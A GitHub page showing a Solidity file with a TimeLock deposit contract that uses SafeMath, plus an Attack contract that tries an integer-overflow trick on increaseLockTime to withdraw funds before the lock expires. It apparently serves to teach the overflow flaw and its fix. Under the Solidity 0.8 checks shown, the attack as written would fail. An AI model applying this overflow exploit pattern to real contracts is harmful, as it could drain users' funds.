-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtimelock.sol
More file actions
53 lines (42 loc) · 1.65 KB
/
timelock.sol
File metadata and controls
53 lines (42 loc) · 1.65 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";
contract TimeLock {
//Using SafeMath for uint;
using SafeMath for uint;
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
//function to increase locktime
function increaseLockTime(uint _time) public {
//lockTime[msg.sender] += _time;
//lockTime[msg.sender] = lockTime[msg.sender] + _time;
lockTime[msg.sender] = lockTime[msg.sender].add(_time); //add function from SafeMath takes care of uint overflow
}
//function to withdraw
function withdraw() public {
require(balances[msg.sender] > 0, "You do not have enough ether");
require(block.timestamp > lockTime[msg.sender], "The locktime has not expired");
uint balance = balances[msg.sender];
balances[msg.sender] = 0; //balance of the msg.sender, to nullify the amount the person has
(bool sent,) = msg.sender.call{value: balance}("");
require(sent,"It did not go through");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}